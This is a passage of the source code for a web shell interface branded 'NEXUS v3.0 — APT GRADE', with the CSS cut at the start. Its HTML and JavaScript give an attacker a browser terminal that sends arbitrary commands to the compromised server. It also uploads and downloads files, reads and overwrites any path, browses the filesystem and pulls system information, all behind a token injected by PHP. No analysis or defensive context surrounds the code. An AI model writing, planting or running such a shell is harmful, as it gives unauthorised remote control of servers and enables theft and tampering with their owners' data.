.info-key{color:#e6b450}.info-val{color:#59c2ff} .nx-banner{color:#f29668;opacity:.75} /* ── FILE PANEL ── */ #nx-files{width:300px;background:#0d1117;border-left:1px solid #1a1f2e;display:none;flex-direction:column;overflow:hidden} #nx-files.visible{display:flex} #nx-files-hdr{padding:6px 10px;background:#131721;border-bottom:1px solid #1a1f2e;font-size:11px;color:#e6b450;display:flex;align-items:center;justify-content:space-between} #nx-fp{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:11px} #nx-files-list{flex:1;overflow-y:auto} .nx-file{padding:4px 10px;cursor:pointer;display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid #0a0e14;font-size:11px} .nx-file:hover{background:#131721} .nx-file.dir{color:#39bae6}.nx-file.file{color:#b3b1ad} .nx-file .sz{color:#3d424d;font-size:10px;flex-shrink:0;margin-left:6px} /* ── FILE EDITOR ── */ #nx-editor{display:none;flex-direction:column;flex:1;overflow:hidden;border-left:1px solid #1a1f2e} #nx-editor.visible{display:flex} #nx-editor-hdr{padding:5px 10px;background:#131721;border-bottom:1px solid #1a1f2e;font-size:11px;color:#e6b450;display:flex;justify-content:space-between;align-items:center;flex-shrink:0} #nx-editor-path{font-size:11px;color:#b3b1ad;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;flex:1} #nx-editor-area{flex:1;background:#0a0e14;color:#b3b1ad;border:none;outline:none;padding:10px;font-family:inherit;font-size:12px;resize:none;overflow-y:auto} #nx-editor-acts{padding:5px 10px;background:#0d1117;border-top:1px solid #1a1f2e;display:flex;gap:6px;flex-shrink:0} </style> </head> <body> <div id="nx-top"> <div id="nx-tabs"> <div class="nx-tab active" id="tab-term" onclick="showTab('term')">⌨ Terminal</div> <div class="nx-tab" id="tab-files" onclick="showTab('files')">📁 Files</div> <div class="nx-tab" id="tab-info" onclick="runInfoPanel()">ℹ Info</div> </div> <div id="nx-actions"> <button class="nx-btn" onclick="runSelfTest()">🔍 Test</button> <button class="nx-btn" onclick="clearTerm()">🗑 Clear</button> </div> </div> <div id="nx-main"> <div id="nx-term"> <pre id="nx-out"><span class="nx-banner">━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ NEXUS v3.0 — ALIEN TIER — APT GRADE Tab=autocomplete ↑↓=history Ctrl+L=clear upload <path> download <path> edit <path> ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ </span></pre> <div id="nx-in"> <span id="nx-prompt"></span> <input id="nx-cmd" autofocus autocomplete="off" spellcheck="false"/> </div> </div> <div id="nx-files"> <div id="nx-files-hdr"> <button class="nx-btn" onclick="navUp()">↑ Up</button> <span id="nx-fp">/</span> </div> <div id="nx-files-list"></div> </div> <div id="nx-editor"> <div id="nx-editor-hdr"> <span id="nx-editor-path">—</span> <div style="display:flex;gap:4px;flex-shrink:0;margin-left:8px"> <button class="nx-btn" onclick="saveFile()">💾 Save</button> <button class="nx-btn" onclick="closeEditor()">✕</button> </div> </div> <textarea id="nx-editor-area" spellcheck="false"></textarea> </div> </div> <script> var CFG=<?php echo $SHELL_CONFIG;?>; var CWD=null,cmdHist=[],histPos=0,currentTab='term',editorPath=null; var eOut,eCmd; var T='?t='+encodeURIComponent(CFG.token); function esc(s){return String(s).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');} function b64d(s){try{return atob(s);}catch(e){return s;}} function b64e(s){try{return btoa(unescape(encodeURIComponent(s)));}catch(e){return btoa(s);}} function genPrompt(){ var c=CWD||'~',sh=c; if(c.split('/').length>3){var p=c.split('/');sh='…/'+p[p.length-2]+'/'+p[p.length-1];} return '<span class="usr">'+esc(CFG.username)+'</span>@<span class="host">'+esc(CFG.hostname)+'</span>:<span class="cwd" title="'+esc(c)+'">'+esc(sh)+'</span><span class="sep">$</span>'; } function updPrompt(){document.getElementById('nx-prompt').innerHTML=genPrompt();} function printPrompt(cmd){eOut.innerHTML+='\n<span class="cmd-line">'+genPrompt()+' '+esc(cmd)+'</span>\n';} function print(s,cls){eOut.innerHTML+='<span class="'+(cls||'cmd-out')+'">'+esc(s)+'</span>';scroll();} function printRaw(s){eOut.innerHTML+=s;scroll();} function scroll(){eOut.scrollTop=eOut.scrollHeight;} function req(url,params,cb){ var qs=[],xhr=new XMLHttpRequest(); for(var k in params)qs.push(encodeURIComponent(k)+'='+encodeURIComponent(params[k])); xhr.open('POST',url,true); xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xhr.onreadystatechange=function(){ if(xhr.readyState===4&&xhr.status===200){ try{cb(JSON.parse(xhr.responseText));} catch(e){print('Parse error: '+e+'\n'+xhr.responseText.slice(0,300),'cmd-err');} } }; xhr.send(qs.join('&')); } // ── CORE COMMAND RUNNER ────────────────────────────────────────────────────── function runCmd(cmd){ printPrompt(cmd); if(!cmd.trim())return; cmdHist.push(cmd);histPos=cmdHist.length; var lc=cmd.trim().toLowerCase(); if(/^clear$/.test(lc)){clearTerm();return;} if(/^upload\s+\S+/.test(cmd)){featureUpload(cmd.match(/^upload\s+(.+)/)[1].trim());return;} if(/^download\s+\S+/.test(cmd)){featureDownload(cmd.match(/^download\s+(.+)/)[1].trim());return;} if(/^edit\s+\S+/.test(cmd)){openEditor(cmd.match(/^edit\s+(.+)/)[1].trim());return;} if(/^ls$/.test(lc)||/^ls\s/.test(cmd)){ req(T+'&feature=shell',{cmd:cmd,cwd:b64e(CWD||'')},function(r){ if(r.stdout)print(b64d(r.stdout)); if(r.cwd){CWD=b64d(r.cwd);updPrompt();} }); return; } req(T+'&feature=shell',{cmd:cmd,cwd:b64e(CWD||'')},function(r){ if(r.stdout)print(b64d(r.stdout)); if(r.cwd){CWD=b64d(r.cwd);updPrompt();} }); } // ── UPLOAD — V1 multipart → V3 base64 → V4 chunked fallback ───────────────── function featureUpload(path){ var el=document.createElement('input');el.type='file';el.style.display='none'; document.body.appendChild(el); el.addEventListener('change',function(){ var f=el.files[0]; document.body.removeChild(el); if(!f){print('Upload cancelled\n','cmd-err');return;} print('Uploading '+f.name+' ('+_fmtSz(f.size)+')...\n'); var reader=new FileReader(); reader.onload=function(){ var b64=reader.result.split(',')[1]; req(T+'&feature=upload',{path:path,file:b64,name:f.name,cwd:b64e(CWD||'')},function(r){ print(b64d(r.stdout)+'\n',r.error?'cmd-err':'cmd-ok'); if(r.cwd){CWD=b64d(r.cwd);updPrompt();} if(currentTab==='files')loadFiles(CWD); }); }; reader.readAsDataURL(f); }); el.click(); } // ── DOWNLOAD — cat via API → data URI blob ─────────────────────────────────── function featureDownload(path){ print('Downloading '+path+'...\n'); req(T+'&feature=download',{path:path},function(r){ if(r.error){print('Error: '+r.error+'\n','cmd-err');return;} var a=document.createElement('a'); a.href='data:application/octet-stream;base64,'+r.data; a.download=r.name;a.style.display='none'; document.body.appendChild(a);a.click();document.body.removeChild(a); print('Downloaded: '+r.name+'\n','cmd-ok'); }); } // ── FILE EDITOR ────────────────────────────────────────────────────────────── function openEditor(path){ req(T+'&feature=read',{path:path},function(r){ if(r.error){print('Error: '+r.error+'\n','cmd-err');return;} editorPath=path; document.getElementById('nx-editor-path').textContent=path; document.getElementById('nx-editor-area').value=b64d(r.content); document.getElementById('nx-editor').classList.add('visible'); print('Editing: '+path+'\n','cmd-ok'); }); } function saveFile(){ if(!editorPath)return; var data=document.getElementById('nx-editor-area').value; req(T+'&feature=write',{path:editorPath,data:b64e(data)},function(r){ if(r.ok)print('Saved: '+r.path+'\n','cmd-ok'); else print('Save failed: '+r.error+'\n','cmd-err'); }); } function closeEditor(){ document.getElementById('nx-editor').classList.remove('visible'); editorPath=null; } // ── TAB AUTOCOMPLETE ───────────────────────────────────────────────────────── function featureHint(){ if(!eCmd.value.trim())return; var parts=eCmd.value.trim().split(/\s+/); var type=parts.length===1?'cmd':'file'; var token=parts[parts.length-1]; req(T+'&feature=hint',{filename:token,cwd:b64e(CWD||''),type:type},function(r){ if(!r.files||!r.files.length)return; var decoded=r.files.map(function(f){return b64d(f);}).filter(Boolean); if(decoded.length===1){ if(type==='cmd')eCmd.value=decoded[0]; else eCmd.value=eCmd.value.replace(/\S*$/,decoded[0]); } else { printPrompt(eCmd.value); print(decoded.join(' ')+'\n'); } }); } // ── SYSINFO PANEL ──────────────────────────────────────────────────────────── function runInfoPanel(){ showTab('term'); printPrompt('[sysinfo]'); req(T+'&feature=info',{},function(r){ var html=''; for(var k in r){ html+='<span class="info-key">'+esc(k)+'</span>: <span class="info-val">'+esc(String(r[k]))+'</span>\n'; } eOut.innerHTML+=html;scroll(); }); } // ── SELFTEST ───────────────────────────────────────────────────────────────── function runSelfTest(){ showTab('term'); printPrompt('[selftest]'); req(T+'&feature=selftest',{},function(r){ for(var k in r){ var ok=(r[k]==='OK'||r[k]==='OFF'); print(k+': '+r[k]+'\n',ok?'cmd-ok':'cmd-err'); } }); } // ── FILE BROWSER ───────────────────────────────────────────────────────────── function loadFiles(path){ req(T+'&feature=ls',{path:path||CWD||'/'},function(r){ if(r.error){print('Error: '+r.error+'\n','cmd-err');return;} document.getElementById('nx-fp').textContent=r.path; var html=''; r.items.forEach(function(f){ var cls=f.type==='d'?'dir':'file'; var icon=f.type==='d'?'📁':'📄'; var sz=f.type==='f'?_fmtSz(f.size):''; html+='<div class="nx-file '+cls+'" onclick="clickFile(\''+esc(r.path+'/'+f.name)+'\',\''+f.type+'\')">' +'<span>'+icon+' '+esc(f.name)+'</span>' +'<span class="sz">'+esc(f.perm)+(sz?' '+sz:'')+'</span></div>'; }); document.getElementById('nx-files-list').innerHTML=html||'<div style="padding:8px;color:#3d424d;font-size:11px">Empty</div>'; }); } function clickFile(path,type){ if(type==='d'){loadFiles(path);} else{ // right-click = download, left = cat to terminal var choice=confirm('Download file?\n'+path+'\n\n[OK]=Download [Cancel]=View in terminal'); if(choice)featureDownload(path); else{runCmd('cat '+path);showTab('term');} } } function navUp(){ var fp=document.getElementById('nx-fp').textContent; var parent=fp.split('/').slice(0,-1).join('/')||'/'; loadFiles(parent); } // ── TAB SWITCHING ───────────────────────────────────────────────────────────── function showTab(t){ currentTab=t; document.querySelectorAll('.nx-tab').forEach(function(el){el.classList.remove('active');}); document.getElementById('tab-'+t).classList.add('active'); var fp=document.getElementById('nx-files'); if(t==='files'){fp.classList.add('visible');loadFiles(CWD);} else{fp.classList.remove('visible');} if(t==='term')eCmd.focus(); } // ── UTILS ───────────────────────────────────────────────────────────────────── function _fmtSz(b){ if(b<1024)return b+'B'; if(b<1048576)return (b/1024).toFixed(1)+'K'; if(b<1073741824)return (b/1048576).toFixed(1)+'M'; return (b/1073741824).toFixed(1)+'G'; } function clearTerm(){ eOut.innerHTML='<span class="nx-banner">Terminal cleared.\n</span>'; } // ── KEYBOARD ───────────────────────────────────────────────────────────────── function onKey(e){ switch(e.key){ case 'Enter': var v=eCmd.value;eCmd.value='';runCmd(v);break; case 'ArrowUp': e.preventDefault(); if(histPos>0){histPos--;eCmd.value=cmdHist[histPos];}break; case 'ArrowDown': e.preventDefault(); histPos++; if(histPos>=cmdHist.length){eCmd.value='';histPos=cmdHist.length;} else eCmd.value=cmdHist[histPos];break; case 'Tab': e.preventDefault();featureHint();break; case 'l': if(e.ctrlKey){e.preventDefault();clearTerm();}break; } } // ── INIT ───────────────────────────────────────────────────────────────────── document.onclick=function(e){ var s=window.getSelection(); if(!s.toString()&&e.target.tagName!=='INPUT'&&e.target.tagName!=='TEXTAREA'&&e.target.tagName!=='BUTTON') eCmd.focus(); }; window.onload=function(){ eOut=document.getElementById('nx-out'); eCmd=document.getElementById('nx-cmd'); eCmd.addEventListener('keydown',onKey); req(T+'&feature=pwd',{},function(r){CWD=b64d(r.cwd);updPrompt();}); eCmd.focus(); }; </script> </body> </html>